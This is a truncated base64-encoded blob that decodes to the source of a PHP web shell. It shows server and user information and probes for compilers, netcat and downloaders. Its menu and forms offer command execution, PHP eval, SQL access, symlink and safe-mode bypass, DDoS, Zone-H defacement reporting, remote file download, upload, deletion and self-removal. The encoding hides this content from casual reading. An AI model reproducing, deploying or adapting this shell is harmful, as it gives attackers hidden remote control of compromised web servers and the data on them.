VyLWJvdHRvbS1jb2xvcjogI0NDQzsNCglib3JkZXItbGVmdC1jb2xvcjogI0NDQzsNCgloZWlnaHQ6IGF1dG87DQoJZm9udC1zaXplOiAxMnB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWJvcmRlci10b3Atd2lkdGg6IDBweDsNCn0NCiAgLndob2xlICNtZXVubGlzdCB1bCB7DQoJcGFkZGluZy10b3A6IDVweDsNCglwYWRkaW5nLXJpZ2h0OiA1cHg7DQoJcGFkZGluZy1ib3R0b206IDdweDsNCglwYWRkaW5nLWxlZnQ6IDJweDsNCgl0ZXh0LWFsaWduOmNlbnRlcjsNCglsaXN0LXN0eWxlLXR5cGU6IG5vbmU7DQoJbWFyZ2luOiAwcHg7DQp9DQogIC53aG9sZSAjbWV1bmxpc3QgbGkgew0KCW1hcmdpbjogMHB4Ow0KCXBhZGRpbmc6IDBweDsNCglkaXNwbGF5OiBpbmxpbmU7DQp9DQogIC53aG9sZSAjbWV1bmxpc3QgYSB7DQogICAgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOw0KCWZvbnQtc2l6ZTogMTRweDsNCgl0ZXh0LWRlY29yYXRpb246bm9uZTsNCglmb250LXdlaWdodDogYm9sZDsNCgljb2xvcjogI2ZmZjsNCgljbGVhcjogYm90aDsNCgl3aWR0aDogMTAwcHg7DQoJbWFyZ2luLXJpZ2h0OiAtNnB4Ow0KCXBhZGRpbmctdG9wOiAzcHg7DQoJcGFkZGluZy1yaWdodDogMTVweDsNCglwYWRkaW5nLWJvdHRvbTogM3B4Ow0KCXBhZGRpbmctbGVmdDogMTVweDsNCglib3JkZXItcmlnaHQtd2lkdGg6IDFweDsNCglib3JkZXItcmlnaHQtc3R5bGU6IHNvbGlkOw0KCWJvcmRlci1yaWdodC1jb2xvcjogI0ZGRjsNCn0NCiAgLndob2xlICNtZXVubGlzdCBhOmhvdmVyIHsNCgljb2xvcjogIzAwMDsNCgliYWNrZ3JvdW5kOiAjZmZmOw0KfQ0KDQouZm9vdCB7DQoJZm9udC1mYW1pbHk6IFZlcmRhbmEsIEdlbmV2YSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOw0KCW1hcmdpbjogMHB4Ow0KCXBhZGRpbmc6IDBweDsNCgl3aWR0aDogMTAwJTsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQoJZm9udC1zaXplOiAxMnB4Ow0KCWNvbG9yOiAjQ0NDOw0KCWJvcmRlci1yaWdodC13aWR0aDogN3B4Ow0KCWJvcmRlci1sZWZ0LXdpZHRoOiA3cHg7DQogICAgYm9yZGVyLWJvdHRvbS13aWR0aDogN3B4Ow0KICAgIGJvcmRlci1ib3R0b20tc3R5bGU6IHNvbGlkOw0KICAgIGJvcmRlci1yaWdodC1zdHlsZTogc29saWQ7DQogICAgYm9yZGVyLXJpZ2h0LXN0eWxlOiBzb2xpZDsNCglib3JkZXItbGVmdC1zdHlsZTogc29saWQ7DQoJYm9yZGVyLXRvcC1jb2xvcjogI0NDQzsNCglib3JkZXItcmlnaHQtY29sb3I6ICNDQ0M7DQoJYm9yZGVyLWJvdHRvbS1jb2xvcjogI0NDQzsNCglib3JkZXItbGVmdC1jb2xvcjogI0NDQzsNCn0nOw0KaWYoaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSkNCiB7DQogICAgZWNobyAiLmZvb3R0YWJsZSB7DQogICAgd2lkdGg6IDMwMHB4Ow0KICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgIH0iO30NCiAgICBlbHNlDQogICAgew0KICAgICAgIGVjaG8gIi5mb290dGFibGUgew0KICAgIHdpZHRoOiAzMDBweDsNCiAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOnJlZDsNCiAgICB9DQogICAgLmRpciB7DQogICAgICBiYWNrZ3JvdW5kLWNvbG9yOnJlZDsgIA0KICAgIH0NCiAgICAiOyANCiAgICB9ICAgIA0KIGVjaG8gJy5tYWluIHRoe3RleHQtYWxpZ246bGVmdDt9DQogLm1haW4gYXtjb2xvcjogI0ZGRjt9DQogLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjpyZWQ7fQ0KIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KIC5iaWdhcmVheyB3aWR0aDo5OSU7IGhlaWdodDozMDBweDsgfSAgIA0KICA8L3N0eWxlPg0KDQonOw0KDQplY2hvICI8c2NyaXB0Pg0KICAgIHZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2EnXSkgLiInDQogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOw0KICAgIHZhciBwMV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AxJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDJfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMiddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBkID0gZG9jdW1lbnQ7DQoJZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87DQoJCWlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187DQoJCWlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZhbHVlPXAxXzsNCgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOw0KCQlpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1wM187DQoJCWlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87DQoJfQ0KCWZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJZC5tZi5zdWJtaXQoKTsNCgl9PC9zY3JpcHQ+IjsNCg0KICAgIA0KCWVjaG8gJw0KPC9oZWFkPg0KDQo8Ym9keSBiZ2NvbG9yPSIjMDAwMDAwIiAgbGVmdG1hcmdpbj0iMCIgdG9wbWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxkaXYgY2xhc3M9Indob2xlIj4NCjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWM+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDM+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pg0KPC9mb3JtPg0KICA8ZGl2IGNsYXNzPSJoZWFkZXIiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiAgYWxpZ249ImxpZnQiPg0KICA8dHI+DQogICAgPHRkIHdpZHRoPSIzJSI+PHNwYW4+VW5hbWU6PC9zcGFuPjwvdGQ+DQogICAgPHRkIGNvbHNwYW49IjIiPicuc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nPC90ZD4NCiAgICA8L3RyPg0KICA8dHI+DQogICAgPHRkPjxzcGFuPlVzZXI6PC9zcGFuPjwvdGQ+DQogICAgPHRkPicuICR1aWQgLiAnIFsgJyAuICR1c2VyIC4gJyBdIDxzcGFuPiAgIEdyb3VwOiA8L3NwYW4+JyAuICRnaWQgLiAnIFsgJyAuICRncm91cCAuICcgXSA8L3RkPg0KICAgIDx0ZCB3aWR0aD0iMTQlIiByb3dzcGFuPSI4Ij48L3RkPg0KCTwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwYW4+UEhQOjwvc3Bhbj48L3RkPg0KICAgIDx0ZD4nLkBwaHB2ZXJzaW9uKCkuICcgICA8c3Bhbj4gICBTYWZlIE1vZGU6Jy4kc2FmZV9tb2Rlcy4nPC9zcGFuPjwvdGQ+DQogICAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZD48c3Bhbj5PdXIgSVA6PC9zcGFuPjwvdGQ+DQogICAgPHRkPicuQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdLicgICAgPHNwYW4+U2VydmVyIElQOjwvc3Bhbj4gJy5AJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uJzwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwYW4+V0VCUzo8L3NwYW4+PC90ZD4NCiAgICA8dGQgd2lkdGg9Ijc2JSI+JzsNCiAgICANCiAgICBpZigkR0xPQkFMU1snc3lzJ109PSd1bml4JykNCiAgICB7DQogICAgICAgICRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KICAgICAgICBpZighJGQwbWFpbnMpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIkNBTlQgUkVBRCBuYW1lZC5jb25mIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAkY291bnQ7ICANCiAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbikNCiAgICAgICAgIHsNCiAgICAgICAgICBpZihAZXJlZygiem9uZSIsJGQwbWFpbikpDQogICAgICAgICAgew0KICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsNCiAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAkY291bnQrKzsNCiAgICAgICAgICAgfSANCiAgICAgICAgICAgfQ0KICAgICAgICAgICB9DQogICAgICAgICAgIGVjaG8gIiRjb3VudCAgRG9tYWlucyI7DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZXsgZWNobyJDQU5UIFJFQUQgfFdpbmRvd3N8Ijt9DQogICAgDQogICAgICBlY2hvICc8L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjE2Ij48c3Bhbj5IREQ6PC9zcGFuPjwvdGQ+DQogICAgPHRkPicubWFkU2l6ZSgkdG90YWxTcGFjZSkuJyA8c3Bhbj5GcmVlOjwvc3Bhbj4nIC4gbWFkU2l6ZSgkZnJlZVNwYWNlKSAuICcgWycuIChpbnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJV08L3RkPg0KICAgIDwvdHI+JzsNCiAgDQogICAgIGlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnICkNCnsNCiAgICBpZighQGluaV9nZXQoJ3NhZmVfbW9kZScpKQ0KICAgIHsNCiAgICANCiAgICBlY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuPlVzZWZ1bCA6IDwvc3Bhbj4nOw0KICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOw0KICAgICBmb3JlYWNoKCR1c2VyZnVsIGFzICRpdGVtKQ0KICAgICAgICAgaWYobWFkV2hpY2goJGl0ZW0pKQ0KICAgICAgICAgZWNobyAkaXRlbS4nLCc7DQogICAgICAgICBlY2hvICc8L3RkPg0KICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4+RG93bmxvYWRlcjo8L3NwYW4+JzsNCiAgICAgICAgIA0KICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgIGZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRpdGVtMikNCiAgICAgICBpZihtYWRXaGljaCgkaXRlbTIpKQ0KICAgICAgICBlY2hvICRpdGVtMi4nLCc7DQogICAgICAgIGVjaG8gJzwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+JzsNCiAgICAgICAgIA0KICAgICAgICAgIH0NCiAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgew0KICAgICAgICAgZWNobyAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIj48c3Bhbj51c2VmdWw6PC9zcGFuPic7IA0KICAgICAgICAgZWNobyAnLS0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICA8L3RyPjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuPkRvd25sb2FkZXI6IDwvc3Bhbj4tLS0tLS0tLS0tLS0tPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4nOyAgDQogICAgICAgICB9DQp9DQplbHNlDQp7DQogICBlY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuPldpbmRvdzo8L3NwYW4+JzsNCiAgIGVjaG8gbWFkRXgoJ3ZlcicpOw0KICAgZWNobyAnPC90ZD4NCiAgICAgICAgIDwvdHI+IDx0cj4NCiAgICAgICAgPHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4+RG93bmxvYWRlcjogPC9zcGFuPi0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICAgICA8L3RyPic7IA0KICAgIA0KfSAgDQogICAgDQogDQogZWNobyAnPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3Bhbj5EaXNhYmxlZCBmdW5jdGlvbnM6PC9zcGFuPicuJGRpc2Z1bi4nPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3Bhbj5jVVJMOicuJGN1cmwuJyAgTXlTUUw6Jy4kbXlzcWwuJyAgTVNTUUw6Jy4kbXNzcWwuJyAgUG9zdGdyZVNRTDonLiRwZy4nICBPcmFjbGU6IDwvc3Bhbj4nLiRvci4nPC90ZD48dGQgd2lkdGg9IjE1JSI+PC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICA8dGQgaGVpZ2h0PSIxMSIgY29sc3Bhbj0iMyI+PHNwYW4+T3Blbl9iYXNlZGlyOicuJG9wZW5fYi4nIFNhZmVfbW9kZV9leGVjX2RpcjonLiRzYWZlX2V4ZS4nICAgU2FmZV9tb2RlX2luY2x1ZGVfZGlyOicuJHNhZmVfaW5jbHVkZS4nPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjExIj48c3Bhbj5TZXJ2ZXIgPC9zcGFuPjwvdGQ+DQogICAgPHRkIGNvbHNwYW49IjIiPicuQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykuJzwvdGQ+DQogIDwvdHI+JzsNCiAgaWYoJEdMT0JBTFNbc3lzXT09IndpbiIpDQogIHsNCiAgICBlY2hvICc8dHI+DQogICAgPHRkIGhlaWdodD0iMTIiPjxzcGFuPkRSSVZFOjwvc3Bhbj48L3RkPg0KICAgIDx0ZCBjb2xzcGFuPSIyIj4nLiRkcml2ZXMuJzwvdGQ+DQogICAgIDwvdHI+JzsNCiAgfQ0KICANCiAgZWNobyAnPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjEyIj48c3Bhbj5QV0Q6PC9zcGFuPjwvdGQ+DQogICAgPHRkIGNvbHNwYW49IjIiPicuJGN3ZF9saW5rcy4nICA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj48Zm9udCBjb2xvcj1yZWQgPnxDVVJSRU5UfDwvZm9udD48L2E+PC90ZD4NCiAgPC90cj4NCiAgPC90YWJsZT4NCjwvZGl2Pg0KIDxkaXYgaWQ9Im1ldW5saXN0Ij4NCiAgICAgIDx1bD4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+SE9NRTwvYT48L2xpPg0KDQo8bGk+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3Byb2NcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+UFJPQ0VTUzwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPkVWQUw8L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3FsXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPlNRTDwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdoYXNoXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPkhBU0g8L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnY29ubmVjdFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj5DT05ORUNUPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3pvbmVoXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPlpPTkUtSDwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdkb3NcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+RERPUzwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPlNBRkUgTU9ERTwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPlNZTUxJTks8L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3BvdFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj5BWUFaT0dMVTwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzZWxmcm1cJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+S0lsbCBDMGRlPC9hPjwvbGk+DQo8L3VsPg0KICAgIA0KICAgIDwvZGl2Pg0KJzsgICANCiAgICANCn0NCg0KZnVuY3Rpb24gbWFkZm9vdGVyKCkNCnsNCiAgICANCiAgICBlY2hvICI8dGFibGUgY2xhc3M9J2Zvb3QnIHdpZHRoPScxMDAlJyBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPSczJyBjZWxscGFkZGluZz0nMCcgPg0KICAgICAgIDx0cj4NCiAgICAgICAgIDx0ZCB3aWR0aD0nMTclJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19NSyBGSUxFX188L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyAgdHlwZT10ZXh0IG5hbWU9ZiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCiAgICAgICAgIDx0ZCB3aWR0aD0nMjElJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19NSyBESVJfXzwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9dGV4dCBuYW1lPWQgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQogICAgICAgICA8dGQgd2lkdGg9JzIyJSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJyx0aGlzLmRlbC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPl9fREVMRVRFX188L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPXRleHQgbmFtZT1kZWwgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQogICAgICAgICA8dGQgd2lkdGg9JzE5JSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnY2htb2QnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19DSE1PRF9fPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT10ZXh0IG5hbWU9ZiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCiAgICAgICA8L3RyPg0KICAgICAgIDx0cj4NCiAgICAgICAgIDx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5fX0NIQU5HRSBESVJfXzwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KICAgICAgICAgPHRkIGNvbHNwYW49JzInPjxmb3JtIG1ldGhvZD0ncG9zdCcgPjxzcGFuPl9fSFRUUCBET1dOTE9BRF9fPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT10ZXh0IG5hbWU9cnRkb3duIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAgIDx0cj4NCiAgICAgICAgIDx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBvbnN1Ym1pdD1cImcoJ3Byb2MnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19FWEVDVVRFX188L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAgIDx0cj4NCiAgICAgICAgIDx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01Bbic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPg0KICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGJyIC8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQogICAgICAgIDwvdHI+IA0KICAgICAgPC90YWJsZT4NCiAgPC9kaXY+DQogIDwvYm9keT4NCjwvaHRtbD4NCiI7DQogICAgDQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSkgew0KICAgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgew0KICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkge3JldHVybiBmYWxzZTt9IH0NCg0KZnVuY3Rpb24gbWFkV2hpY2goJHApIHsNCgkkcGF0aCA9IG1hZEV4KCd3aGljaCAnIC4gJHApOw0KCWlmKCFlbXB0eSgkcGF0aCkpDQoJCXJldHVybiAkcGF0aDsNCglyZXR1cm4gZmFsc2U7DQp9DQoNCg0KDQpmdW5jdGlvbiBtYWRTaXplKCRzKSB7DQoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KCWVsc2VpZigkcyA+PSAxMDI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KCWVsc2UNCgkJcmV0dXJuICRzIC4gJyBCJzsNCn0NCg0KDQpmdW5jdGlvbiBtYWRQZXJtcygkcCkgew0KCWlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsNCgllbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOw0KCWVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7DQoJZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsNCgllbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOw0KCWVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7DQoJZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsNCgllbHNlICRpID0gJ3UnOw0KCSRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJH